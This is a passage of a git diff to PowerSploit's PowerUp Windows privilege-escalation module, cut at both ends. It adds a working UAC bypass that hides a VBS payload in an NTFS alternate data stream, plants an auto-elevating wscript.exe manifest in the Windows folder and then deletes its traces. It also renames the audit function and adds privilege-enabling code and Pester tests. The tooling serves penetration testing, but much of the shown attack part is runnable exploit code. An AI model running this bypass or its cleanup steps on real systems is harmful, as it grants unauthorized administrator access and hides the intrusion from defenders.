"$($env:WINDIR)\System32\cmd.exe /c """"start /b """""""" cmd /c """"timeout /t 5 >nul&&del $($env:WINDIR)\wscript.exe&&del $($env:WINDIR)\wscript.exe.manifest""""""""" + $VBSPayload += "command = ""$DelCommand"":" + $VBSPayload += "objShell.Run command, 0:" + $VBSPayload += "Set objShell = Nothing" + + Write-Verbose "[*] Storing VBS payload into `"$env:USERPROFILE\AppData:$ADSFile`"" + $CreateWrapperADS = {cmd /C "echo $VBSPayload > ""$env:USERPROFILE\AppData:$ADSFile"""} + Invoke-Command -ScriptBlock $CreateWrapperADS + + Write-Verbose "[*] Executing VBS payload with modified scripting host" + $ExecuteScript = {cmd /C "$($env:WINDIR)\wscript.exe ""$env:USERPROFILE\AppData:$ADSFile"""} + Invoke-Command -ScriptBlock $ExecuteScript + + Write-Verbose "[*] Removing Alternate Data Stream from $("$env:USERPROFILE\AppData:$ADSFile")" + Remove-ADS $env:USERPROFILE\AppData:$ADSFile + } + + function Local:Invoke-WscriptElevate { + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + Param() + + $WscriptManifest = +@" + + + + + + + + + + + + true + true + + + +"@ + + # Copy and apply manifest to wscript.exe + $sManifest = $env:Temp + "\wscript.exe.manifest" + $WscriptManifest | Out-File $sManifest -Encoding UTF8 + + Write-Verbose "[*] Cabbing and extracting manifest into $($env:WINDIR)" + Invoke-CopyFile $sManifest $env:WINDIR + + Write-Verbose "[*] Cabbing and extracting wscript.exe into $($env:WINDIR)" + $WScriptPath = "$($env:WINDIR)\System32\wscript.exe" + Invoke-CopyFile $WScriptPath $env:WINDIR + Remove-Item -Force $sManifest + + Invoke-WscriptTrigger + } + + function Local:Remove-ADS { + <# .SYNOPSIS + Removes an alterate data stream from a specified location. + P/Invoke code adapted from PowerSploit's Mayhem.psm1 module. - Runs all functions that check for various Windows privilege escalation opportunities. + Author: @harmj0y, @mattifestation + License: BSD 3-Clause - Author: @harmj0y - License: BSD 3-Clause + .LINK + https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1 + #> - .PARAMETER HTMLReport + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True)] + [String] + $ADSPath + ) - Switch. Write a HTML version of the report to SYSTEM.username.html. + #region define P/Invoke types dynamically + # stolen from PowerSploit https://github.com/mattifestation/PowerSploit/blob/master/Mayhem/Mayhem.psm1 + $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) + + $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') + $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) + $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') + $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, + @('kernel32.dll'), + [Reflection.FieldInfo[]]@($SetLastError), + @($True)) + + # Define [Win32.Kernel32]::DeleteFile + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeleteFile', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([String]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + $Kernel32 = $TypeBuilder.CreateType() + + $Result = $Kernel32::DeleteFile($ADSPath) + + if ($Result) { + Write-Verbose "Alternate Data Stream at $ADSPath successfully removed." + } + else { + Write-Verbose "Alternate Data Stream at $ADSPath removal failure!" + } + } + + # make sure we are running on vulnerable windows version (vista,7) + $OSVersion = [Environment]::OSVersion.Version + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) { + if (([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator') -eq $True){ + Write-Warning '[!] You are already elevated!' + } + else { + Invoke-WscriptElevate + } + } + else { + Write-Warning '[!] Target machine is not vulnerable.' + } +} - .EXAMPLE - PS C:\> Invoke-AllChecks +function Invoke-PrivescAudit { +<# +.SYNOPSIS - Runs all escalation checks and outputs a status report for discovered issues. +Executes all functions that check for various Windows privilege escalation opportunities. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION - .EXAMPLE +Executes all functions that check for various Windows privilege escalation opportunities. - PS C:\> Invoke-AllChecks -HTMLReport +.PARAMETER HTMLReport - Runs all escalation checks and outputs a status report to SYSTEM.username.html - detailing any discovered issues. +Switch. Write a HTML version of the report to SYSTEM.username.html. + +.EXAMPLE + +Invoke-PrivescAudit + +Runs all escalation checks and outputs a status report for discovered issues. + +.EXAMPLE + +Invoke-PrivescAudit -HTMLReport + +Runs all escalation checks and outputs a status report to SYSTEM.username.html +detailing any discovered issues. + +.OUTPUTS + +System.String #> + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.String')] [CmdletBinding()] Param( [Switch] $HTMLReport ) - if($HTMLReport) { + if ($HTMLReport) { $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" - $Header = "" - ConvertTo-HTML -Head $Header -Body "

    PowerUp report for '$($Env:ComputerName).$($Env:UserName)'

    " | Out-File $HtmlReportFile } @@ -3806,48 +4705,53 @@ function Invoke-AllChecks { $IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") - if($IsAdmin){ + if ($IsAdmin){ "[+] Current user already has local administrative privileges!" - if($HTMLReport) { + if ($HTMLReport) { ConvertTo-HTML -Head $Header -Body "

    User Has Local Admin Privileges!

    " | Out-File -Append $HtmlReportFile } } else{ "`n`n[*] Checking if user is in a local group with administrative privileges..." - $CurrentUserSids = Get-CurrentUserTokenGroupSid | Select-Object -ExpandProperty SID - if($CurrentUserSids -contains 'S-1-5-32-544') { + $CurrentUserSids = Get-ProcessTokenGroup | Select-Object -ExpandProperty SID + if ($CurrentUserSids -Contains 'S-1-5-32-544') { "[+] User is in a local group that grants administrative privileges!" - "[+] Run a BypassUAC attack to elevate privileges to admin." - - if($HTMLReport) { + "[+] Run 'Invoke-WScriptUACBypass -Command `"...`"' to elevate privileges to admin." + if ($HTMLReport) { ConvertTo-HTML -Head $Header -Body "

    User In Local Group With Administrative Privileges

    " | Out-File -Append $HtmlReportFile } } } + "`n`n[*] Checking current process token permissions..." + $Results = Get-ProcessTokenPrivilege -Special | Where-Object {$_} + $Results | Format-List + if ($HTMLReport) { + $Results | ConvertTo-HTML -Head $Header -Body "

    Cached GPP Files

    " | Out-File -Append $HtmlReportFile + } # Service checks "`n`n[*] Checking for unquoted service paths..." - $Results = Get-ServiceUnquoted + $Results = Get-UnquotedService $Results | Format-List - if($HTMLReport) { + if ($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Unquoted Service Paths

    " | Out-File -Append $HtmlReportFile } "`n`n[*] Checking service executable and argument permissions..." $Results = Get-ModifiableServiceFile $Results | Format-List - if($HTMLReport) { + if ($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Service File Permissions

    " | Out-File -Append $HtmlReportFile } "`n`n[*] Checking service permissions..." $Results = Get-ModifiableService $Results | Format-List - if($HTMLReport) { + if ($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Modifiable Services

    " | Out-File -Append $HtmlReportFile } @@ -3861,7 +4765,7 @@ function Invoke-AllChecks { $_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString $_ } | Format-List - if($HTMLReport) { + if ($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    %PATH% .dll Hijacks

    " | Out-File -Append $HtmlReportFile } @@ -3875,7 +4779,7 @@ function Invoke-AllChecks { $Results = $Out $Results | Format-List - if($HTMLReport) { + if ($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    AlwaysInstallElevated

    " | Out-File -Append $HtmlReportFile } } @@ -3883,7 +4787,7 @@ function Invoke-AllChecks { "`n`n[*] Checking for Autologon credentials in registry..." $Results = Get-RegistryAutoLogon $Results | Format-List - if($HTMLReport) { + if ($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Registry Autologons

    " | Out-File -Append $HtmlReportFile } @@ -3891,7 +4795,7 @@ function Invoke-AllChecks { "`n`n[*] Checking for modifidable registry autoruns and configs..." $Results = Get-ModifiableRegistryAutoRun $Results | Format-List - if($HTMLReport) { + if ($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Registry Autoruns

    " | Out-File -Append $HtmlReportFile } @@ -3900,48 +4804,47 @@ function Invoke-AllChecks { "`n`n[*] Checking for modifiable schtask files/configs..." $Results = Get-ModifiableScheduledTaskFile $Results | Format-List - if($HTMLReport) { + if ($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Modifidable Schask Files

    " | Out-File -Append $HtmlReportFile } "`n`n[*] Checking for unattended install files..." $Results = Get-UnattendedInstallFile $Results | Format-List - if($HTMLReport) { + if ($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Unattended Install Files

    " | Out-File -Append $HtmlReportFile } "`n`n[*] Checking for encrypted web.config strings..." $Results = Get-Webconfig | Where-Object {$_} $Results | Format-List - if($HTMLReport) { + if ($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Encrypted 'web.config' String

    " | Out-File -Append $HtmlReportFile } "`n`n[*] Checking for encrypted application pool and virtual directory passwords..." $Results = Get-ApplicationHost | Where-Object {$_} $Results | Format-List - if($HTMLReport) { + if ($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Encrypted Application Pool Passwords

    " | Out-File -Append $HtmlReportFile } - "`n`n[*] Checking for plaintext passwords in McAfee SiteList.xml files...." + "`n`n[*] Checking for plaintext passwords in McAfee SiteList.xml files..." $Results = Get-SiteListPassword | Where-Object {$_} $Results | Format-List - if($HTMLReport) { + if ($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    McAfee's SiteList.xml's

    " | Out-File -Append $HtmlReportFile } - "`n" - "`n`n[*] Checking for cached Group Policy Preferences .xml files...." + "`n`n[*] Checking for cached Group Policy Preferences .xml files..." $Results = Get-CachedGPPPassword | Where-Object {$_} $Results | Format-List - if($HTMLReport) { + if ($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Cached GPP Files

    " | Out-File -Append $HtmlReportFile } "`n" - if($HTMLReport) { + if ($HTMLReport) { "[*] Report written to '$HtmlReportFile' `n" } } @@ -3949,52 +4852,103 @@ function Invoke-AllChecks { # PSReflect signature specifications $Module = New-InMemoryModule -ModuleName PowerUpModule +# [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPositionalParameters', '', Scope='Function')] $FunctionDefinitions = @( - (func kernel32 GetCurrentProcess ([IntPtr]) @()) - (func advapi32 OpenProcessToken ([Bool]) @( [IntPtr], [UInt32], [IntPtr].MakeByRefType()) -SetLastError) + (func kernel32 GetCurrentProcess ([IntPtr]) @()), + (func kernel32 OpenProcess ([IntPtr]) @([UInt32], [Bool], [UInt32]) -SetLastError), + (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError), + (func advapi32 OpenProcessToken ([Bool]) @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) -SetLastError) (func advapi32 GetTokenInformation ([Bool]) @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType()) -SetLastError), (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 LookupPrivilegeName ([Int]) @([IntPtr], [IntPtr], [String].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func advapi32 QueryServiceObjectSecurity ([Bool]) @([IntPtr], [Security.AccessControl.SecurityInfos], [Byte[]], [UInt32], [UInt32].MakeByRefType()) -SetLastError), (func advapi32 ChangeServiceConfig ([Bool]) @([IntPtr], [UInt32], [UInt32], [UInt32], [String], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) -SetLastError -Charset Unicode), - (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError) + (func advapi32 CloseServiceHandle ([Bool]) @([IntPtr]) -SetLastError), + (func ntdll RtlAdjustPrivilege ([UInt32]) @([Int32], [Bool], [Bool], [Int32].MakeByRefType())) ) # https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/ $ServiceAccessRights = psenum $Module PowerUp.ServiceAccessRights UInt32 @{ - QueryConfig = '0x00000001' - ChangeConfig = '0x00000002' - QueryStatus = '0x00000004' - EnumerateDependents = '0x00000008' - Start = '0x00000010' - Stop = '0x00000020' - PauseContinue = '0x00000040' - Interrogate = '0x00000080' - UserDefinedControl = '0x00000100' - Delete = '0x00010000' - ReadControl = '0x00020000' - WriteDac = '0x00040000' - WriteOwner = '0x00080000' - Synchronize = '0x00100000' - AccessSystemSecurity = '0x01000000' - GenericAll = '0x10000000' - GenericExecute = '0x20000000' - GenericWrite = '0x40000000' - GenericRead = '0x80000000' - AllAccess = '0x000F01FF' + QueryConfig = '0x00000001' + ChangeConfig = '0x00000002' + QueryStatus = '0x00000004' + EnumerateDependents = '0x00000008' + Start = '0x00000010' + Stop = '0x00000020' + PauseContinue = '0x00000040' + Interrogate = '0x00000080' + UserDefinedControl = '0x00000100' + Delete = '0x00010000' + ReadControl = '0x00020000' + WriteDac = '0x00040000' + WriteOwner = '0x00080000' + Synchronize = '0x00100000' + AccessSystemSecurity = '0x01000000' + GenericAll = '0x10000000' + GenericExecute = '0x20000000' + GenericWrite = '0x40000000' + GenericRead = '0x80000000' + AllAccess = '0x000F01FF' } -Bitfield $SidAttributes = psenum $Module PowerUp.SidAttributes UInt32 @{ - SE_GROUP_ENABLED = '0x00000004' - SE_GROUP_ENABLED_BY_DEFAULT = '0x00000002' - SE_GROUP_INTEGRITY = '0x00000020' - SE_GROUP_INTEGRITY_ENABLED = '0xC0000000' - SE_GROUP_MANDATORY = '0x00000001' - SE_GROUP_OWNER = '0x00000008' - SE_GROUP_RESOURCE = '0x20000000' - SE_GROUP_USE_FOR_DENY_ONLY = '0x00000010' + SE_GROUP_MANDATORY = '0x00000001' + SE_GROUP_ENABLED_BY_DEFAULT = '0x00000002' + SE_GROUP_ENABLED = '0x00000004' + SE_GROUP_OWNER = '0x00000008' + SE_GROUP_USE_FOR_DENY_ONLY = '0x00000010' + SE_GROUP_INTEGRITY = '0x00000020' + SE_GROUP_RESOURCE = '0x20000000' + SE_GROUP_INTEGRITY_ENABLED = '0xC0000000' } -Bitfield +$LuidAttributes = psenum $Module PowerUp.LuidAttributes UInt32 @{ + DISABLED = '0x00000000' + SE_PRIVILEGE_ENABLED_BY_DEFAULT = '0x00000001' + SE_PRIVILEGE_ENABLED = '0x00000002' + SE_PRIVILEGE_REMOVED = '0x00000004' + SE_PRIVILEGE_USED_FOR_ACCESS = '0x80000000' +} -Bitfield + +$SecurityEntity = psenum $Module PowerUp.SecurityEntity UInt32 @{ + SeCreateTokenPrivilege = 1 + SeAssignPrimaryTokenPrivilege = 2 + SeLockMemoryPrivilege = 3 + SeIncreaseQuotaPrivilege = 4 + SeUnsolicitedInputPrivilege = 5 + SeMachineAccountPrivilege = 6 + SeTcbPrivilege = 7 + SeSecurityPrivilege = 8 + SeTakeOwnershipPrivilege = 9 + SeLoadDriverPrivilege = 10 + SeSystemProfilePrivilege = 11 + SeSystemtimePrivilege = 12 + SeProfileSingleProcessPrivilege = 13 + SeIncreaseBasePriorityPrivilege = 14 + SeCreatePagefilePrivilege = 15 + SeCreatePermanentPrivilege = 16 + SeBackupPrivilege = 17 + SeRestorePrivilege = 18 + SeShutdownPrivilege = 19 + SeDebugPrivilege = 20 + SeAuditPrivilege = 21 + SeSystemEnvironmentPrivilege = 22 + SeChangeNotifyPrivilege = 23 + SeRemoteShutdownPrivilege = 24 + SeUndockPrivilege = 25 + SeSyncAgentPrivilege = 26 + SeEnableDelegationPrivilege = 27 + SeManageVolumePrivilege = 28 + SeImpersonatePrivilege = 29 + SeCreateGlobalPrivilege = 30 + SeTrustedCredManAccessPrivilege = 31 + SeRelabelPrivilege = 32 + SeIncreaseWorkingSetPrivilege = 33 + SeTimeZonePrivilege = 34 + SeCreateSymbolicLinkPrivilege = 35 +} + $SID_AND_ATTRIBUTES = struct $Module PowerUp.SidAndAttributes @{ Sid = field 0 IntPtr Attributes = field 1 UInt32 @@ -4005,6 +4959,24 @@ $TOKEN_GROUPS = struct $Module PowerUp.TokenGroups @{ Groups = field 1 $SID_AND_ATTRIBUTES.MakeArrayType() -MarshalAs @('ByValArray', 32) } +$LUID = struct $Module PowerUp.Luid @{ + LowPart = field 0 $SecurityEntity + HighPart = field 1 Int32 +} + +$LUID_AND_ATTRIBUTES = struct $Module PowerUp.LuidAndAttributes @{ + Luid = field 0 $LUID + Attributes = field 1 UInt32 +} + +$TOKEN_PRIVILEGES = struct $Module PowerUp.TokenPrivileges @{ + PrivilegeCount = field 0 UInt32 + Privileges = field 1 $LUID_AND_ATTRIBUTES.MakeArrayType() -MarshalAs @('ByValArray', 50) +} + $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'PowerUp.NativeMethods' $Advapi32 = $Types['advapi32'] $Kernel32 = $Types['kernel32'] +$NTDll = $Types['ntdll'] + +Set-Alias Invoke-AllChecks Invoke-PrivescAudit diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index 867c7ec1..fb662252 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -10,7 +10,7 @@ ModuleVersion = '3.0.0.0' GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56' # Author of this module -Author = 'Will Schroeder' +Author = 'Will Schroeder (@harmj0y)' # Copyright statement for this module Copyright = 'BSD 3-Clause' @@ -24,37 +24,40 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( 'Add-ServiceDacl', + 'Enable-Privilege', 'Find-PathDLLHijack', 'Find-ProcessDLLHijack', 'Get-ApplicationHost', 'Get-CachedGPPPassword', - 'Get-CurrentUserTokenGroupSid', 'Get-ModifiablePath', 'Get-ModifiableRegistryAutoRun', 'Get-ModifiableScheduledTaskFile', 'Get-ModifiableService', 'Get-ModifiableServiceFile', + 'Get-ProcessTokenGroup', + 'Get-ProcessTokenPrivilege', 'Get-RegistryAlwaysInstallElevated', 'Get-RegistryAutoLogon', 'Get-ServiceDetail', - 'Get-ServiceUnquoted', 'Get-SiteListPassword', - 'Get-System', + 'Get-TokenInformation', + 'Get-UnquotedService', 'Get-UnattendedInstallFile', - 'Get-Webconfig', + 'Get-WebConfig', 'Install-ServiceBinary', - 'Invoke-AllChecks', 'Invoke-ServiceAbuse', + 'Invoke-WScriptUACBypass', + 'Invoke-PrivescAudit', 'Restore-ServiceBinary', - 'Set-ServiceBinPath', + 'Set-ServiceBinaryPath', 'Test-ServiceDaclPermission', + 'Write-UserAddMSI', 'Write-HijackDll', 'Write-ServiceBinary', - 'Write-UserAddMSI' + 'Get-System' ) # List of all files packaged with this module FileList = 'Privesc.psm1', 'Get-System.ps1', 'PowerUp.ps1', 'README.md' } - diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 9b9872b9..b8435314 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -126,40 +126,142 @@ Describe 'Get-ModifiablePath' { } } -Describe 'Get-CurrentUserTokenGroupSid' { - if(-not $(Test-IsAdmin)) { - Throw "'Get-CurrentUserTokenGroupSid' Pester test needs local administrator privileges." +Describe 'Get-ProcessTokenGroup' { + + if (-not $(Test-IsAdmin)) { + Throw "'Get-ProcessTokenGroup' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-CurrentUserTokenGroupSid} | Should Not Throw + {Get-ProcessTokenGroup} | Should Not Throw } - It 'Should return SIDs and Attributes.' { - $Output = Get-CurrentUserTokenGroupSid | Select-Object -First 1 + It 'Should return SID, Attribute, and ProcessID.' { + $Output = Get-ProcessTokenGroup | Select-Object -First 1 if ($Output.PSObject.Properties.Name -notcontains 'SID') { - Throw "Get-CurrentUserTokenGroupSid result doesn't contain 'SID' field." + Throw "Get-ProcessTokenGroup result doesn't contain 'SID' field." } if ($Output.PSObject.Properties.Name -notcontains 'Attributes') { - Throw "Get-CurrentUserTokenGroupSid result doesn't contain 'Attributes' field." + Throw "Get-ProcessTokenGroup result doesn't contain 'Attributes' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'ProcessID') { + Throw "Get-ProcessTokenGroup result doesn't contain 'ProcessID' field." + } + } + + It 'Should accept a process object on the pipeline.' { + $Output = Get-Process -Id $PID | Get-ProcessTokenGroup | Select-Object -First 1 + $Output | Should Not BeNullOrEmpty + } + + It 'Should accept multiple process objects on the pipeline.' { + $Output = @($(Get-Process -Id $PID), $(Get-Process -Id $PID)) | Get-ProcessTokenGroup | Where-Object {$_.SID -match 'S-1-5-32-544'} + if ($Output.Length -lt 2) { + Throw "'Get-ProcessTokenGroup' doesn't return Dacls for multiple service objects on the pipeline." } } It 'Should return the local administrators group SID.' { - $CurrentUserSids = Get-CurrentUserTokenGroupSid | Select-Object -ExpandProperty SID + $CurrentUserSids = Get-ProcessTokenGroup | Select-Object -ExpandProperty SID - if($CurrentUserSids -notcontains 'S-1-5-32-544') { - Throw "Get-CurrentUserTokenGroupSid result doesn't contain local administrators 'S-1-5-32-544' sid" + if ($CurrentUserSids -notcontains 'S-1-5-32-544') { + Throw "Get-ProcessTokenGroup result doesn't contain local administrators 'S-1-5-32-544' sid" } } } + +Describe 'Get-ProcessTokenPrivilege' { + + if (-not $(Test-IsAdmin)) { + Throw "'Get-ProcessTokenPrivilege' Pester test needs local administrator privileges." + } + + It 'Should not throw.' { + {Get-ProcessTokenPrivilege} | Should Not Throw + } + + It 'Should return Privilege, Attribute, and ProcessID.' { + $Output = Get-ProcessTokenPrivilege | Select-Object -First 1 + + if ($Output.PSObject.Properties.Name -notcontains 'Privilege') { + Throw "Get-ProcessTokenPrivilege result doesn't contain 'Privilege' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'Attributes') { + Throw "Get-ProcessTokenPrivilege result doesn't contain 'Attributes' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'ProcessID') { + Throw "Get-ProcessTokenPrivilege result doesn't contain 'ProcessID' field." + } + } + + It 'Should accept the -Special argument' { + $Output = Get-Process -Id $PID | Get-ProcessTokenPrivilege -Special | Select-Object -First 1 + $Output | Should Not BeNullOrEmpty + } + + It 'Should accept a process object on the pipeline.' { + $Output = Get-Process -Id $PID | Get-ProcessTokenPrivilege | Select-Object -First 1 + $Output | Should Not BeNullOrEmpty + } + + It 'Should accept multiple process objects on the pipeline.' { + $Output = @($(Get-Process -Id $PID), $(Get-Process -Id $PID)) | Get-ProcessTokenPrivilege | Where-Object {$_.Privilege -match 'SeShutdownPrivilege'} + if ($Output.Length -lt 2) { + Throw "'Get-ProcessTokenPrivilege' doesn't return Dacls for multiple service objects on the pipeline." + } + } + + It 'Should return the correct privileges.' { + $Privileges = Get-ProcessTokenPrivilege | Select-Object -ExpandProperty Privilege + + if ($Privileges -NotContains 'SeShutdownPrivilege') { + Throw "Get-ProcessTokenPrivilege result doesn't the SeShutdownPrivilege" + } + } +} + + +Describe 'Enable-Privilege' { + if (-not $(Test-IsAdmin)) { + Throw "'Enable-Privilege' Pester test needs local administrator privileges." + } + + It 'Should not accept an invalid privilege.' { + {Enable-Privilege -Privilege 'nonexistent'} | Should Throw + } + + It 'Should successfully enable a specified privilege.' { + $Output = Get-ProcessTokenPrivilege | Where-Object {$_.Privilege -match 'SeShutdownPrivilege'} + if ($Output.Attributes -ne 0) { + Throw "'SeShutdownPrivilege is already enabled." + } + {Enable-Privilege -Privilege 'SeShutdownPrivilege'} | Should Not Throw + $Output = Get-ProcessTokenPrivilege | Where-Object {$_.Privilege -match 'SeShutdownPrivilege'} + if ($Output.Attributes -eq 0) { + Throw "'SeShutdownPrivilege not successfully enabled." + } + } + + It 'Should accept the output from Get-ProcessTokenPrivilege.' { + {Get-ProcessTokenPrivilege | Enable-Privilege} | Should Not Throw + $Output = Get-ProcessTokenPrivilege | Where-Object {$_.Privilege -match 'SeBackupPrivilege'} + if ($Output.Attributes -eq 0) { + Throw "'SeBackupPrivilege not successfully enabled." + } + } +} + + Describe 'Add-ServiceDacl' { - if(-not $(Test-IsAdmin)) { + if (-not $(Test-IsAdmin)) { Throw "'Add-ServiceDacl' Pester test needs local administrator privileges." } @@ -176,7 +278,7 @@ Describe 'Add-ServiceDacl' { $ServiceName = Get-Service | Select-Object -First 1 | Select-Object -ExpandProperty Name $ServiceWithDacl = Add-ServiceDacl -Name $ServiceName - if(-not $ServiceWithDacl.Dacl) { + if (-not $ServiceWithDacl.Dacl) { Throw "'Add-ServiceDacl' doesn't return a Dacl for a service passed as parameter." } } @@ -185,7 +287,7 @@ Describe 'Add-ServiceDacl' { $ServiceNames = Get-Service | Select-Object -First 5 | Select-Object -ExpandProperty Name $ServicesWithDacl = Add-ServiceDacl -Name $ServiceNames - if(-not $ServicesWithDacl.Dacl) { + if (-not $ServicesWithDacl.Dacl) { Throw "'Add-ServiceDacl' doesn't return Dacls for an array of service names as a parameter." } } @@ -194,7 +296,7 @@ Describe 'Add-ServiceDacl' { $Service = Get-Service | Select-Object -First 1 $ServiceWithDacl = $Service | Add-ServiceDacl - if(-not $ServiceWithDacl.Dacl) { + if (-not $ServiceWithDacl.Dacl) { Throw "'Add-ServiceDacl' doesn't return a Dacl for a service object on the pipeline." } } @@ -203,7 +305,7 @@ Describe 'Add-ServiceDacl' { $ServiceName = Get-Service | Select-Object -First 1 | Select-Object -ExpandProperty Name $ServiceWithDacl = $ServiceName | Add-ServiceDacl - if(-not $ServiceWithDacl.Dacl) { + if (-not $ServiceWithDacl.Dacl) { Throw "'Add-ServiceDacl' doesn't return a Dacl for a service name on the pipeline." } } @@ -212,7 +314,7 @@ Describe 'Add-ServiceDacl' { $Services = Get-Service | Select-Object -First 5 $ServicesWithDacl = $Services | Add-ServiceDacl - if(-not $ServicesWithDacl.Dacl) { + if (-not $ServicesWithDacl.Dacl) { Throw "'Add-ServiceDacl' doesn't return Dacls for multiple service objects on the pipeline." } } @@ -221,7 +323,7 @@ Describe 'Add-ServiceDacl' { $ServiceNames = Get-Service | Select-Object -First 5 | Select-Object -ExpandProperty Name $ServicesWithDacl = $ServiceNames | Add-ServiceDacl - if(-not $ServicesWithDacl.Dacl) { + if (-not $ServicesWithDacl.Dacl) { Throw "'Add-ServiceDacl' doesn't return Dacls for multiple service names on the pipeline." } } @@ -232,16 +334,16 @@ Describe 'Add-ServiceDacl' { # 'AllAccess' = [uint32]'0x000F01FF' $Rights = $ServiceWithDacl.Dacl | Where-Object {$_.SecurityIdentifier -eq 'S-1-5-32-544'} - if(($Rights.AccessRights -band 0x000F01FF) -ne 0x000F01FF) { + if (($Rights.AccessRights -band 0x000F01FF) -ne 0x000F01FF) { Throw "'Add-ServiceDacl' doesn't return the correct service Dacl." } } } -Describe 'Set-ServiceBinPath' { +Describe 'Set-ServiceBinaryPath' { - if(-not $(Test-IsAdmin)) { - Throw "'Set-ServiceBinPath' Pester test needs local administrator privileges." + if (-not $(Test-IsAdmin)) { + Throw "'Set-ServiceBinaryPath' Pester test needs local administrator privileges." } It 'Should fail for a non-existent service.' { @@ -249,13 +351,13 @@ Describe 'Set-ServiceBinPath' { $ServicePath = 'C:\Program Files\service.exe' $Result = $False - {$Result = Set-ServiceBinPath -Name $ServiceName -binPath $ServicePath} | Should Throw + {$Result = Set-ServiceBinaryPath -Name $ServiceName -Path $ServicePath} | Should Throw $Result | Should Be $False } - It 'Should throw with an empty binPath.' { + It 'Should throw with an empty Path.' { $ServiceName = Get-RandomName - {Set-ServiceBinPath -Name $ServiceName -binPath ''} | Should Throw + {Set-ServiceBinaryPath -Name $ServiceName -Path ''} | Should Throw } It 'Should correctly set a service binary path.' { @@ -264,7 +366,7 @@ Describe 'Set-ServiceBinPath' { sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - $Result = Set-ServiceBinPath -Name $ServiceName -binPath $ServicePath + $Result = Set-ServiceBinaryPath -Name $ServiceName -Path $ServicePath $Result | Should Be $True $ServiceDetails = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" $ServiceDetails.PathName | Should be $ServicePath @@ -278,7 +380,7 @@ Describe 'Set-ServiceBinPath' { sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - $Result = $ServiceName | Set-ServiceBinPath -binPath $ServicePath + $Result = $ServiceName | Set-ServiceBinaryPath -Path $ServicePath $Result | Should Be $True $ServiceDetails = Get-WmiObject -Class win32_service -Filter "Name='$ServiceName'" @@ -293,7 +395,7 @@ Describe 'Set-ServiceBinPath' { sc.exe create $ServiceName binPath= $ServicePath | Should Match 'SUCCESS' Start-Sleep -Seconds 1 - $Result = Get-Service $ServiceName | Set-ServiceBinPath -binPath $ServicePath + $Result = Get-Service $ServiceName | Set-ServiceBinaryPath -Path $ServicePath $Result | Should Be $True $ServiceDetails = Get-WmiObject -Class win32_service 